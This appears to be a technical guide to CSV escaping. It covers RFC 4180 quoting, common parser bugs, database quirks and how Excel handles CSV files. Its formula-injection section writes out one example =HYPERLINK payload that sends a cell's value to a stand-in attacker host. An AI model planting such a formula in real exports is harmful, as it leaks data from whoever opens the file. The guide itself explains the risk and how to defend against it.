CSV has one escaping rule that matters: if a field contains a comma, a double quote or a line break, wrap the whole field in double quotes, and write any double quote inside it twice. There is no backslash escape. That rule is short, and yet CSV bugs are everywhere, because plenty of code never implements it and Excel adds behaviour of its own.
What RFC 4180 actually says
RFC 4180 was published in 2005 to document common practice, and its status is Informational, so it is not a formal standard that anyone is obliged to follow. Its rules boil down to these:
- Records are separated by a line break, written as CRLF. The last record may or may not end with one.
- An optional header line has the same format as other records.
- Every record should have the same number of fields.
- Spaces are part of a field and must not be ignored.
- Fields may be enclosed in double quotes. Fields containing commas, double quotes or line breaks must be.
- A double quote inside a quoted field is written as two double quotes.
Here is a worked example. Say you have these two values:
| Column | Raw value |
|---|---|
| name | Ada, Countess |
| note | She said "hi" |
They must be written as:
name,note
"Ada, Countess","She said ""hi"""The end of that line looks like a typo. It is not. The first "" after hi is the escaped quote, and the final " closes the field.
A line break works the same way. This is one record with two fields, spread over two physical lines:
"two
lines",2We ran these cases through Python’s standard csv.writer to confirm what a correct writer produces, and got "Ada, Countess","She said ""hi""" and "two\nlines", leading space (the space stayed unquoted and unstripped, as the RFC requires). Our JSON to CSV converter applies the same quoting rule, and quotes any field containing a comma, quote or line break.
Write it with a library, not with string joining
This line of code causes most of the corrupted CSV files in the world:
line = ",".join(values)It works in testing because test data rarely has commas. Then a customer named “Smith, Jr.” arrives, and every column after the name shifts one place to the right. No error is raised. The reverse bug is line.split(",") when reading, and it fails on the same data. Python’s csv, Java’s Apache Commons CSV, and most languages’ standard CSV packages handle this correctly, and they are one import away.
The bugs you will meet
Reading line by line. Tools like wc -l, head, split and grep count physical lines, not records. If any field has a line break, your row count is wrong, and split -l 1000 can cut a record in half. Check with a real parser before you trust a line count.
A space before the opening quote. In a, "b,c",d the space means the quote is not at the start of the field. Run through Python’s csv.reader with default settings, this returns four fields: a, "b, c" and d. With skipinitialspace=True it returns the three you probably wanted. People who hand-edit files often add that space.
Stray quotes in unquoted fields. The field 5" screen breaks the RFC, and parsers handle it in different ways. We tested A,5" screen followed by a row B,ok. Python’s csv.reader and our CSV to JSON converter both return two rows and keep the quote. A simpler parser that flips into “quoted mode” at any double quote does something much worse. It drops the quote and swallows the following rows into one cell, giving 5 screen plus B,ok. If your record count comes out short, look for this first.
Text after a closing quote. a,"b"c,d is also invalid, and here the two disagree. Python’s reader silently returned bc as the second field. Our converter stops with an error that gives the line and column, and tells you to double the quote. We prefer the error, as silent repairs are how data quietly changes.
Backslash escaping. MySQL’s SELECT ... INTO OUTFILE uses a backslash as its default escape character, which gives you \" rather than "". An RFC 4180 parser reads that as a quote that ends the field too early. Configure your reader to expect backslashes, or change the FIELDS ESCAPED BY setting and test the output with values containing quotes and nulls, because that setting also changes how null is written.
Null versus empty. RFC 4180 does not say how to represent null. PostgreSQL’s COPY in CSV mode treats an unquoted empty field as null and a quoted empty field ("") as an empty string, and that is why re-saving a file in another program can quietly change your data.
Delimiter inside a field in another dialect. A file with tabs or semicolons follows the same quoting logic with a different separator. In auto mode, our CSV to JSON converter guesses the delimiter from how consistently commas, semicolons, tabs and pipes appear across lines. A guess can still be wrong on an unusual file, so set the delimiter yourself when you know it.
What Excel does
Excel is the most common consumer of CSV, and double-clicking a file gives you no chance to set options. These are the problems to plan for.
Delimiter depends on your region. On systems where the comma is the decimal separator, as in Germany, Excel expects and writes semicolons. A comma-separated file opened there lands entirely in column A.
Encoding. Excel offers a “CSV UTF-8” save format separate from plain “CSV”, and the plain one uses a legacy encoding that can’t represent every character. A UTF-8 file without a byte order mark is commonly misread when double-clicked, so café shows as café. Writing a BOM at the start of the file is the usual fix when Excel is the audience, but a BOM can confuse other parsers, where the first header turns into id. Pick one per audience.
Type guessing. Excel converts values as it opens the file:
- Leading zeros go:
02134becomes2134. - Excel keeps 15 significant digits, per Microsoft’s published specifications. A 16-digit card number has its last digit replaced with zero, and long IDs end up in scientific notation.
- Things that look like dates become dates, including gene names and part codes such as
MAR1or1-2.
Saving the file writes the converted values back, so one open-and-save can destroy a column for good. The safe route is Data, From Text/CSV, which lets you set column types before loading.
The SYLK error. A file beginning with the uppercase letters ID can make some Excel versions warn that the file is a SYLK file. The content is fine. Lowercasing the header to id avoids the warning.
Row and cell limits. A worksheet has 1,048,576 rows and 16,384 columns, and a cell holds 32,767 characters. Anything beyond that is cut off on open, so a row count that lands exactly on 1,048,576 is a warning sign.
A security issue: formula injection
If a cell begins with =, +, - or @, spreadsheet software may run it as a formula. A user who sets their name to =HYPERLINK("http://evil.example/?x="&A2,"Click") can attack whoever later opens your exported CSV. Quoting does not help, as the quotes are stripped before Excel evaluates the cell.
OWASP’s guidance is to prefix risky cells so they are read as text, using a single quote or a tab inside the quoted field. Both change the data, so apply this only to exports meant for spreadsheets, not to files another program will parse.
A checklist for writing a CSV that survives
- Use a CSV library for both reading and writing.
- Quote fields according to the RFC, and never use backslash escapes.
- Write UTF-8, and add a BOM only when the reader is Excel.
- Decide how null is written and put it in your documentation.
- Neutralize leading
=,+,-and@in spreadsheet exports. - Keep identifiers as text on the reading side.
- Test with a row containing a comma, a quote, a line break and an accented letter.
If the data is nested or varies by record, CSV may be the wrong format. The CSV versus JSON comparison covers when to change, and if a separator is the issue, CSV to TSV converts to tabs, which appear far less often in real data than commas do.